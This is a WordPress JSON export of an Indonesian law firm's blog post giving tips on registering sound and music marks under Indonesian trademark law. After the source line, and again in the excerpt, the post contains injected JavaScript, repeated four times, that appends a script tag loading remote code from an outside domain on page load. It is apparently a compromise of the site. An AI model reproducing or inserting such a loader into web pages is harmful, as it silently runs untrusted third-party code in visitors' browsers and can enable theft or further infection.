{"id":8171,"date":"2023-12-06T09:23:13","date_gmt":"2023-12-06T09:23:13","guid":{"rendered":"http:\/\/affa.co.id\/bhs\/2023\/12\/06\/tips-mendaftarkan-suara-dan-musik-sebagai-merek\/"},"modified":"2023-12-06T09:23:13","modified_gmt":"2023-12-06T09:23:13","slug":"tips-mendaftarkan-suara-dan-musik-sebagai-merek","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2023\/12\/06\/tips-mendaftarkan-suara-dan-musik-sebagai-merek\/","title":{"rendered":"Tips Mendaftarkan Suara dan Musik sebagai Merek"},"content":{"rendered":"<h4><b>Tips Mendaftarkan Suara dan Musik sebagai Merek<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Seiring dengan perkembangan kebutuhan perlindungan Merek yang mengikuti dinamika dunia perdagangan yang kian pesat dan kemajuan teknologi, sejak tahun 2008, negara-negara anggota Organisasi Kekayaan Intelektual Dunia (WIPO) telah mengakui keberadaan <\/span><b><i>\u2018New Types of Marks\u2019 <\/i><\/b><span style=\"font-weight: 500\">atau Tipe Merek Baru, yang mengakibatkan pembagian Merek menjadi dua tipe, yakni <\/span><b><i>Visible<\/i><\/b><span style=\"font-weight: 500\"> (dapat lihat) dan <\/span><b><i>Non-Visible<\/i><\/b><span style=\"font-weight: 500\"> (tidak dapat dilihat).<\/span><\/p>\n<p><span style=\"font-weight: 500\">\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 500\">Yang termasuk Merek dapat dlihat antara lain adalah Merek 3 Dimensi, Merek Warna, Hologram, Slogan, Judul Film dan Buku, Tanda Bergerak (<\/span><i><span style=\"font-weight: 500\">Motion or Multimedia Signs<\/span><\/i><span style=\"font-weight: 500\">), Merek Posisi (<\/span><i><span style=\"font-weight: 500\">Position Marks<\/span><\/i><span style=\"font-weight: 500\">), dan Merek Gerakan (<\/span><i><span style=\"font-weight: 500\">Gesture Marks<\/span><\/i><span style=\"font-weight: 500\">). Sedangkan yang termasuk Merek tidak dapat dilihat adalah Merek yang sifatnya bisa dirasakan oleh penginderaan selain mata. Misalnya Merek Suara yang dapat dikenali oleh telinga, Merek yang dapat dicium (<\/span><i><span style=\"font-weight: 500\">Olfactory Marks<\/span><\/i><span style=\"font-weight: 500\">) oleh hidung, Merek yang dapat dikecap oleh lidah (<\/span><i><span style=\"font-weight: 500\">Taste Marks<\/span><\/i><span style=\"font-weight: 500\">), dan Merek yang dapat dirasakan oleh kulit (<\/span><i><span style=\"font-weight: 500\">Texture or Feel Marks<\/span><\/i><span style=\"font-weight: 500\">).<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Dasar Hukum Merek Suara di Indonesia<\/b><\/h4>\n<p><span style=\"font-weight: 500\">Indonesia mengakui keberadaan Merek Non-Tradisional melalui penjabaran definisi Merek seperti yang tercantum dalam <\/span><b>Pasal 1 Angka 1 Undang-Undang Nomor 20 Tahun 2016 tentang Merek dan Indikasi Geografis (UUMIG)<\/b><span style=\"font-weight: 500\">, sebagai berikut:<\/span><\/p>\n<p><span style=\"font-weight: 500\">\u00a0<\/span><\/p>\n<p><i><span style=\"font-weight: 500\">Merek adalah tanda yang dapat ditampilkan secara grafis berupa gambar, logo, nama, kata, huruf, angka, susunan warna, dalam bentuk 2 (dua) dimensi dan\/atau 3 (tiga) dimensi,<\/span><\/i><b><i> suara, <\/i><\/b><i><span style=\"font-weight: 500\">hologram, atau kombinasi dari 2 (dua) atau lebih unsur tersebut untuk membedakan barang dan\/atau jasa yang diproduksi oleh orang atau badan hukum dalam kegiatan perdagangan barang dan\/atau jasa.<\/span><\/i><\/p>\n<p><span style=\"font-weight: 500\">Agar suatu Merek Suara dapat didaftarkan, <\/span><b>Pasal 4 UUMIG dan Pasal 3 Permenkumham No.67\/2016<\/b><span style=\"font-weight: 500\"> mewajibkan pelampiran yang dapat menunjukkan karakteristik suatau Merek, dan untuk Merek Suara yang perlu dilampirkan adalah<\/span><b> notasi <\/b><span style=\"font-weight: 500\">dan <\/span><b>rekaman<\/b><span style=\"font-weight: 500\"> suaranya. Namun jika Merek Suara tidak dapat ditampilkan dalam bentuk notasi, lampirannya dapat berupa<\/span><b> sonogram<\/b><span style=\"font-weight: 500\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><b>Ragam Merek Suara:<\/b><\/h4>\n<p><b>1. Sung\/ Spoken Verbal Elements (Elemen Verbal)<\/b><b><br \/>\n<\/b><span style=\"font-weight: 500\">Contohnya adalah suara \u201cAuo-uo\u201d yang diteriakkan oleh Tarzan.<\/span><span style=\"font-weight: 500\"><br \/>\n<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>2. Musical Elements (Elemen Musik)<\/b><b><br \/>\n<\/b><span style=\"font-weight: 500\">Contohnya adalah musik yang muncul setiap kita menyalakan PC\/ Laptop dengan sistem operasi Windows.<\/span><span style=\"font-weight: 500\"><br \/>\n<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>3. True-to-life Sounds (Suara Alami)<\/b><b><br \/>\n<\/b><span style=\"font-weight: 500\">Contohnya adalah suara auman singa yang hadir bersamaan dengan logo Metro Goldwyn Mayer muncul di awal film produksi mereka.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b><\/b><b>4. Other Sounds (Suara Lain-Lain)<\/b><b><br \/>\n<\/b><span style=\"font-weight: 500\">Contohnya adalah suara deru mesin motor Harley Davidson yang baru dinyalakan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Lalu bagaimana cara mendaftarkan mereka sebagai Merek? Berikut tips-nya:<\/span><\/p>\n<p style=\"padding-left: 40px\"><b>1. Lampirkan Representasi Grafis sebagai Daya Pembeda<\/b><b><br \/>\n<\/b><span style=\"font-weight: 500\">Notasi dan Sonogram yang dapat ditampilkan secara visual, dapat menjadi daya pembeda antara satu Merek Suara dengan Merek Suara lainnya.<\/span><\/p>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li><b><\/b><b>Contoh Notasi Merek Suara<\/b><b><br \/>\n<\/b><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-4605 size-full\" src=\"https:\/\/affa.co.id\/wp-content\/uploads\/2023\/12\/ms-img-temp.jpg\" alt=\"\" width=\"615\" height=\"207\" \/><\/p>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li><b>Contoh Sonogram Merek Suara<\/b><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><img decoding=\"async\" class=\"aligncenter wp-image-4607 size-full\" src=\"https:\/\/affa.co.id\/wp-content\/uploads\/2023\/12\/ms-img-temp-2.jpg\" alt=\"\" width=\"418\" height=\"260\" \/><\/p>\n<p style=\"padding-left: 40px\"><b>2. Lampirkan Notasi dengan Deskripsi yang Jelas<\/b><\/p>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li><span style=\"font-weight: 500\">Merek dengan Notasi tanpa Elemen Verbal<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><img decoding=\"async\" class=\"aligncenter wp-image-4608 size-full\" src=\"https:\/\/affa.co.id\/wp-content\/uploads\/2023\/12\/ms-img-temp-3.jpg\" alt=\"\" width=\"299\" height=\"89\" \/><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Deskripsi:<\/span><\/p>\n<p style=\"padding-left: 40px\"><i><span style=\"font-weight: 500\">\u201cMerek suara terdiri dari melodi lima notasi pada kunci C. Melodi ini terdiri dari seperdelapan nada C, seperdelapan nada E, seperdelapan nada D, seperenam belas nada B, seperenam belas nada C disambung dengan satu setengah nada C.\u201d<\/span><\/i><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li><span style=\"font-weight: 500\">Merek dengan Notasi yang memiliki Elemen Verbal<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-4609 size-full\" src=\"https:\/\/affa.co.id\/wp-content\/uploads\/2023\/12\/ms-img-temp-4.jpg\" alt=\"\" width=\"290\" height=\"88\" \/><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Deskripsi:<\/span><\/p>\n<p style=\"padding-left: 40px\"><i><span style=\"font-weight: 500\">\u201cMerek terdiri dari kata \u201cHISAMITSU\u201d dan bunyi empat nada musik\u00a0 E, A, E dan F. Tiga nada pertama adalah nada seperdelapan dan nada terakhir adalah nada seperdelapan dan nada setengah.\u201d<\/span><\/i><\/p>\n<p>&nbsp;<\/p>\n<p style=\"padding-left: 40px\"><b>3. Untuk Merek yang Dinyanyikan\/ Diucapkan, Elemen Verbal Memberikan Pengaruh Besar dalam Penilaian<\/b><span style=\"font-weight: 500\"><br \/>\n<\/span><span style=\"font-weight: 500\">Yang dimaksud dengan Elemen Verbal adalah suara yang diucapkan seperti pada contoh Merek HISAMITSU di atas.\u00a0<\/span><\/p>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Jika kata yang diucapkan sangat berbeda, maka suara tersebut dapat dinilai memiliki daya pembeda yang besar. Namun jika dua Elemen Verbal yang berbeda (HISAMITSU vs MAKANBATU) dinotasikan sama, MA-KAN-BA-TU dibawakan seperti HI-SA-MIT-SU, tidak dianggap Merek Suara yang berbeda.<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"list-style-type: none\">\n<ul>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Jika Elemen Verbalnya sama, tapi diiringi dengan Elemen Non-Verbal, seperti suara musik yang berbeda, maka nilai pembedanya tetap ada, namun tidak sebesar jika Elemen Verbalnya benar-benar berbeda.<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p style=\"padding-left: 40px\"><b>4. Untuk Merek dengen Elemen Musik, Melodi yang Berbeda Memberikan Pengaruh Besar dalam Penilaian<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Dalam hal Merek Suara yang diajukan pendaftarannya hanya berisi elemen musik, maka nilai pembedanya adalah melodi yang berbeda. Semakin berbeda semakin baik, jika dibandingkan dengan perbedaannya hanya berupa alat musik yang berbeda, tempo, dan ritme.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"padding-left: 40px\"><b>5. Untuk Suara Alami, Daya Pembeda dinilai dari Tipe, Tempo, dan Ritme yang Berbeda<\/b><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 500\">Jika Merek Suara yang diajukan pendaftarannya berupa suara alami, seperti contoh auman singa Metro Goldwyn Mayer, maka untuk membedakannya, suara auman singa lain harus punya tempo, ritme, serta tingkat suara yang berbeda. Misalnya suara singanya seperti menjerit atau menangis dengan tempo yang lebih lambat, dapat dinilai memiliki daya pembeda.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Nah, sudah terbayang Merek Suara seperti apa yang ingin Anda daftarkan untuk menunjang bisnis, agar semakin eksis dan memiliki daya pembeda di masyarakat? Pastikan semua kriteria di atas sudah dapat Anda penuhi.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><strong>Jika Anda memiliki pertanyaan atau membutuhkan informasi lain terkait pendaftaran Merek Suara di Indonesia atau manca negara, termasuk melakukan pemeriksaan apakah Merek yang ingin Anda daftarkan sudah pernah terdaftar sebelumnya oleh pihak lain, jangan ragu untuk\u00a0 menghubungi kami melalui <a href=\"mailto:trademark@affa.co.id\">trademark@affa.co.id<\/a>.<\/strong><\/p>\n<p><strong>Sumber:<\/strong><\/p>\n<ul>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Direktorat Jenderal Kekayaan Intelektual Republik Indonesia<\/span><\/li>\n<\/ul>\n<p>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Tips Mendaftarkan Suara dan Musik sebagai Merek Seiring dengan perkembangan kebutuhan perlindungan Merek yang mengikuti dinamika dunia perdagangan yang kian pesat dan kemajuan teknologi, sejak tahun 2008, negara-negara anggota Organisasi Kekayaan Intelektual Dunia (WIPO) telah mengakui keberadaan \u2018New Types of Marks\u2019 atau Tipe Merek Baru, yang mengakibatkan pembagian Merek menjadi dua tipe, yakni Visible (dapat lihat) dan Non-Visible (tidak dapat dilihat). \u00a0 Yang termasuk Merek dapat dlihat antara lain adalah Merek 3 Dimensi, Merek Warna, Hologram, Slogan, Judul Film dan Buku, Tanda Bergerak (Motion or Multimedia Signs), Merek Posisi (Position Marks), dan Merek Gerakan (Gesture Marks). Sedangkan yang termasuk Merek tidak dapat dilihat adalah Merek yang sifatnya bisa dirasakan oleh penginderaan selain mata. Misalnya Merek Suara yang dapat dikenali oleh telinga, Merek yang dapat dicium (Olfactory Marks) oleh hidung, Merek yang dapat dikecap oleh lidah (Taste Marks), dan Merek yang dapat dirasakan oleh kulit (Texture or Feel Marks). &nbsp; Dasar Hukum Merek Suara di Indonesia Indonesia mengakui keberadaan Merek Non-Tradisional melalui penjabaran definisi Merek seperti yang tercantum dalam Pasal 1 Angka 1 Undang-Undang Nomor 20 Tahun 2016 tentang Merek dan Indikasi Geografis (UUMIG), sebagai berikut: \u00a0 Merek adalah tanda yang dapat ditampilkan secara grafis berupa gambar, logo, nama, kata, huruf, angka, susunan warna, dalam bentuk 2 (dua) dimensi dan\/atau 3 (tiga) dimensi, suara, hologram, atau kombinasi dari 2 (dua) atau lebih unsur tersebut untuk membedakan barang dan\/atau jasa yang diproduksi oleh orang atau badan hukum dalam kegiatan perdagangan barang dan\/atau jasa. Agar suatu Merek Suara dapat didaftarkan, Pasal 4 UUMIG dan Pasal 3 Permenkumham No.67\/2016 mewajibkan pelampiran yang dapat menunjukkan karakteristik suatau Merek, dan untuk Merek Suara yang perlu dilampirkan adalah notasi dan rekaman suaranya. Namun jika Merek Suara tidak dapat ditampilkan dalam bentuk notasi, lampirannya dapat berupa sonogram. &nbsp; Ragam Merek Suara: 1. Sung\/ Spoken Verbal Elements (Elemen Verbal) Contohnya adalah suara \u201cAuo-uo\u201d yang diteriakkan oleh Tarzan. &nbsp; 2. Musical Elements (Elemen Musik) Contohnya adalah musik yang muncul setiap kita menyalakan PC\/ Laptop dengan sistem operasi Windows. &nbsp; 3. True-to-life Sounds (Suara Alami) Contohnya adalah suara auman singa yang hadir bersamaan dengan logo Metro Goldwyn Mayer muncul di awal film produksi mereka. &nbsp; 4. Other Sounds (Suara Lain-Lain) Contohnya adalah suara deru mesin motor Harley Davidson yang baru dinyalakan. &nbsp; Lalu bagaimana cara mendaftarkan mereka sebagai Merek? Berikut tips-nya: 1. Lampirkan Representasi Grafis sebagai Daya Pembeda Notasi dan Sonogram yang dapat ditampilkan secara visual, dapat menjadi daya pembeda antara satu Merek Suara dengan Merek Suara lainnya. Contoh Notasi Merek Suara Contoh Sonogram Merek Suara 2. Lampirkan Notasi dengan Deskripsi yang Jelas Merek dengan Notasi tanpa Elemen Verbal Deskripsi: \u201cMerek suara terdiri dari melodi lima notasi pada kunci C. Melodi ini terdiri dari seperdelapan nada C, seperdelapan nada E, seperdelapan nada D, seperenam belas nada B, seperenam belas nada C disambung dengan satu setengah nada C.\u201d &nbsp; Merek dengan Notasi yang memiliki Elemen Verbal Deskripsi: \u201cMerek terdiri dari kata \u201cHISAMITSU\u201d dan bunyi empat nada musik\u00a0 E, A, E dan F. Tiga nada pertama adalah nada seperdelapan dan nada terakhir adalah nada seperdelapan dan nada setengah.\u201d &nbsp; 3. Untuk Merek yang Dinyanyikan\/ Diucapkan, Elemen Verbal Memberikan Pengaruh Besar dalam Penilaian Yang dimaksud dengan Elemen Verbal adalah suara yang diucapkan seperti pada contoh Merek HISAMITSU di atas.\u00a0 Jika kata yang diucapkan sangat berbeda, maka suara tersebut dapat dinilai memiliki daya pembeda yang besar. Namun jika dua Elemen Verbal yang berbeda (HISAMITSU vs MAKANBATU) dinotasikan sama, MA-KAN-BA-TU dibawakan seperti HI-SA-MIT-SU, tidak dianggap Merek Suara yang berbeda. Jika Elemen Verbalnya sama, tapi diiringi dengan Elemen Non-Verbal, seperti suara musik yang berbeda, maka nilai pembedanya tetap ada, namun tidak sebesar jika Elemen Verbalnya benar-benar berbeda. &nbsp; 4. Untuk Merek dengen Elemen Musik, Melodi yang Berbeda Memberikan Pengaruh Besar dalam Penilaian Dalam hal Merek Suara yang diajukan pendaftarannya hanya berisi elemen musik, maka nilai pembedanya adalah melodi yang berbeda. Semakin berbeda semakin baik, jika dibandingkan dengan perbedaannya hanya berupa alat musik yang berbeda, tempo, dan ritme. &nbsp; 5. Untuk Suara Alami, Daya Pembeda dinilai dari Tipe, Tempo, dan Ritme yang Berbeda Jika Merek Suara yang diajukan pendaftarannya berupa suara alami, seperti contoh auman singa Metro Goldwyn Mayer, maka untuk membedakannya, suara auman singa lain harus punya tempo, ritme, serta tingkat suara yang berbeda. Misalnya suara singanya seperti menjerit atau menangis dengan tempo yang lebih lambat, dapat dinilai memiliki daya pembeda. &nbsp; Nah, sudah terbayang Merek Suara seperti apa yang ingin Anda daftarkan untuk menunjang bisnis, agar semakin eksis dan memiliki daya pembeda di masyarakat? Pastikan semua kriteria di atas sudah dapat Anda penuhi. &nbsp; Jika Anda memiliki pertanyaan atau membutuhkan informasi lain terkait pendaftaran Merek Suara di Indonesia atau manca negara, termasuk melakukan pemeriksaan apakah Merek yang ingin Anda daftarkan sudah pernah terdaftar sebelumnya oleh pihak lain, jangan ragu untuk\u00a0 menghubungi kami melalui trademark@affa.co.id. Sumber: Direktorat Jenderal Kekayaan Intelektual Republik Indonesia var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":0,"featured_media":8172,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[309,310,314,315,317,318,363,305,307,308],"class_list":["post-8171","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-merek-indonesia-bisa","tag-timing-is-everything","tag-trademark","tag-ipr","tag-affa","tag-intellectual-property","tag-ip"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/8171","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=8171"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/8171\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/8172"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=8171"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=8171"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=8171"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}